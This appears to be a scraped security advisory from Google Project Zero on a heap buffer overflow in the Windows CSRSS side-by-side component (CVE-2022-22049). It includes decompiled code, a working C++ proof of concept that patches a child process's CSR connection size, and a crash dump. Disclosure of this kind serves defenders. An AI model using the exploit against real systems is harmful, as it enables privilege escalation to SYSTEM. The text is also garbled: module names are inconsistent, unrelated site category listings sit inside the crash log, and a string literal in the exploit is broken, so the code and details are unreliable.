

Windows

xxsrv!BaseSrvActivationContextCacheDuplicateUnicodeString Heap Buffer Overflow

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A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.

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Windows: heap buffer overflow in xsrv!BaseSrvActivationContextCacheDuplicateUnicodeString

SUMMARY

A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.

VULNERABILITY DETAILS

```
...
__int64 __fastcall BaseSrvActivationContextCacheDuplicateUnicodeString(UNICODE_STRING *Dst, UNICODE_STRING
*Src)
{
    unsigned int Length; // ebx
    SIZE_T NewMaxLength; // r8
    WCHAR *Heap; // rax
    __int64 Status; // rax

    Length = Src->Length;
    if ( (_WORD)Length )
    {
        NewMaxLength = (unsigned __int16)(Length + 2); // *** 1 ***
        Dst->MaxLength = NewMaxLength;
        Heap = (WCHAR *)RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, NewMaxLength); // *** 2 ***
        Dst->Buffer = Heap;
        if ( Heap )
        {
            memcpy_0(Heap, Src->Buffer, Length); // *** 3 ***
            Dst->Buffer[(unsigned __int64)Length >> 1] = 0;
            Status = 0i64;
            Dst->Length = Length;
        }
        else
        {
            return 0xC0000017i64;
        }
    }
    else
    {
        *(_DWORD *)&Dst->Length = 0;
        Status = 0i64;
        Dst->Buffer = 0i64;
    }
    return Status;
}
...
```

The function above attempts to reserve two extra bytes for a trailing null character. The new size gets truncated to a 16-bit value[1], so if the size of the source string is 0xffff bytes, the function will try to allocate a 0-byte buffer[2] and copy 0xffff bytes into it[3].

The vulnerable function is reachable from the 'BaseSrvSxsCreateActivationContextFromMessage' CSR routine. However, the default size of the CSR shared memory section is only 0x10000 bytes, and some of that space must be reserved for the capture buffer header, so by default it's impossible to pass a big enough 'UNICODE_STRING' to CSRSS. Luckily, the size of the section is controlled entirely by the client process, and if an attacker can modify 'ntdll!CsrpConnectToServer' early enough during process startup, they'll be able to pass strings of (virtually) any size.

VERSION

Windows 11 12H2 (OS Build 22000.593)
Windows 10 12H2 (OS Build 19044.1586)

REPRODUCTION CASE

This (not very reliable) proof-of-concept creates a new process in a suspended state, attempts to find and replace 32-bit value 0x10000 inside 'CsrpConnectToServer', and resumes the process' main thread. Then the child process sends a CSR request with a huge string.



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```

1) Enable page heap verification for csrss.exe:
...
gflags /p /enable csrss.exe /full
...

2) Restart the machine.

3) Compile and run:
...
#include <windows.h>
#include <winternl.h>
#include <string>

PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);
VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);
NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);
NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);

void CaptureString(LPVOID capture_buffer,
    uint8_t* msg_field,
    PCWSTR string,
    size_t length = 0,
    size_t max_length = 0) {
    if (length == 0)
        length = lstrlenW(string);

    CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,
        length * 2 + 2, (PSTR)msg_field);
}

int main(int argc, char* argv[]) {
    HMODULE ntdll = LoadLibrary(L"ntdll");

    if (argc == 1) {
        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};

        si.cb = sizeof(si);

        WCHAR image_path[MAX_PATH + 1];
        GetModuleFileName(NULL, image_path, MAX_PATH);

        std::wstring args = image_path;
        args += L" child\\";
        CreateProcess(&image_path[0], &args[0], NULL, NULL, FALSE, CREATE_SUSPENDED,
            NULL, NULL, &si, &pi);

        PVOID csrClientConnectToServer =
            GetProcAddress(ntdll, "CsrClientConnectToServer");

        size_t offset = 0;
        for (; offset < 0x1000; ++offset)
            if (*(uint32_t*)((char*)csrClientConnectToServer + offset) == 0x10000)
                break;

        uint32_t new_size = 0x20000;
        WriteProcessMemory(pi.hProcess, (char*)csrClientConnectToServer + offset,
            &new_size, sizeof(new_size), NULL);

        ResumeThread(pi.hThread);
    } else {
#define INIT_PROC(name) \
    name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));

        INIT_PROC(CsrAllocateCaptureBuffer);
        INIT_PROC(CsrFreeCaptureBuffer);
        INIT_PROC(CsrClientCallServer);
        INIT_PROC(CsrCaptureMessageString);

        const size_t HEADER_SIZE = 0x40;
        uint8_t msg[HEADER_SIZE + 0x1f8] = {0};

#define FIELD(n) msg + HEADER_SIZE + 8 * n
#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;

        SET_FIELD(0, 0x900000041);
        SET_FIELD(3, 0x10101);
        SET_FIELD(6, 0x88);
        SET_FIELD(7, -1);

        std::string manifest =
            "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' \>"
            "<manifestVersion='1.0'>"
            "<assemblyIdentity name='A' version='1.0.0.0'>"
            "</assembly>";

        SET_FIELD(8, manifest.c_str());
        SET_FIELD(9, manifest.size());

        SET_FIELD(22, 1);

        PVOID capture_buffer = CsrAllocateCaptureBuffer(3, 0x10200);

        CaptureString(capture_buffer, FIELD(1), L"\\x00\\x00\\", 2);
        CaptureString(capture_buffer, FIELD(4), L"C:\\\\Windows\\\\"
otepad.exe\\");
        CaptureString(capture_buffer, FIELD(17), L"C:\\\\A\\\\\\");
        SET_FIELD(17, 0xffffffe);

        CsrClientCallServer(msg, capture_buffer, 0x1001001e,
            sizeof(msg) - HEADER_SIZE);
    }
}
...

4) Wait for a crash:
...
CONTEXT: 000000bd41a3ddc0 -- (.cxr 0xbd41a3ddc0)
rax=000002224855c000 rbx=000000000000ffff rcx=000002224855c010
rdx=ffffffffff7ecde20 rsi=000000bd41a3ec48 rdi=000000000000ffff
rip=00007ffbd59d3c53 rsp=000000bd41a3eb08 rbp=000000bd41a3efc8
r8=0000000000000002e r9=000000000000003ff r10=000002224855c000
r11=0000022240439e1e r12=000000000000007a4 r13=0000000000000001
r14=000000bd41a3ee38 r15=000000bd41a3ee20

```

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Vulnerability (31,104)	
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Whitepaper (3,728)	
x86 (946)	
XSS (17,478)	
Other	

```
iopl=0          nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
ntdll!memcpy+0x113:
0033:00007ffb`d59d3c53 0f2941f0          movaps  xmmword ptr [rcx-10h],xmm0
ds:002b:00000222`4855c000=????????????????????????????
Resetting default scope

WRITE_ADDRESS:  000002224855c000

EXCEPTION_RECORD:  000000bd41a3e2b0 -- (.exr 0xbd41a3e2b0)
ExceptionAddress: 00007ffbd59d3c53 (ntdll!memcpy+0x0000000000000113)
ExceptionCode:    c0000005 (Access violation)
ExceptionFlags:   00000000
NumberParameters: 2
   Parameter[0]:  0000000000000001
   Parameter[1]:  000002224855c000
Attempt to write to address 000002224855c000

STACK TEXT:
000000bd`41a3eb08 00007ffb`d2f34f24 : 00000000`00000000 00000000`0000fffe 00000000`00000000 00000000`00000000 :
ntdll!memcpy+0x113
000000bd`41a3eb10 00007ffb`d2f34e4b : 000000bd`41a3ee20 000000bd`41a3ec30 00000000`00000000 00000222`3a760000 :
sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString+0x64
000000bd`41a3eb40 00007ffb`d2f34d43 : 00000000`00000000 000000bd`41a3ee20 00000222`47868e20 00007ffb`d2d7b8b4 :
sxssrv!BaseSrvActivationContextCacheDuplicateKey+0x4b
000000bd`41a3eb70 00007ffb`d2f34916 : 000000bd`41a3ed78 000000bd`41a3ee20 000000bd`41a3efd4 000000bd`41a3efe0 :
sxssrv!BaseSrvActivationContextCacheCreateEntry+0x83
000000bd`41a3ebd0 00007ffb`d2f34018 : 00000000`00000000 00000000`00000000 00000000`00000000 000000bd`41a3f410 :
sxssrv!BaseSrvActivationContextCacheInsertEntry+0x86
000000bd`41a3ed20 00007ffb`d2f31dce : 00000000`000007f4 00000000`000000f0 00000000`00010244 00000000`00000000 :
sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x818
000000bd`41a3f160 00007ffb`d2fb6490 : 00000222`3d0d0750 00000000`000000f0 00000222`4785ef30 00000222`3a877f80 :
sxssrv!BaseSrvSxsCreateActivationContextFromMessage+0x32e
000000bd`41a3f2d0 00007ffb`d598265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
CSRSRV!CsrApiRequestThread+0x4d0
000000bd`41a3f970 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
ntdll!RtlUserThreadStart+0x2f
...
```

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero

****This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-07-19.****

Related CVE Numbers: CVE-2022-22049,CVE-2022-22049.

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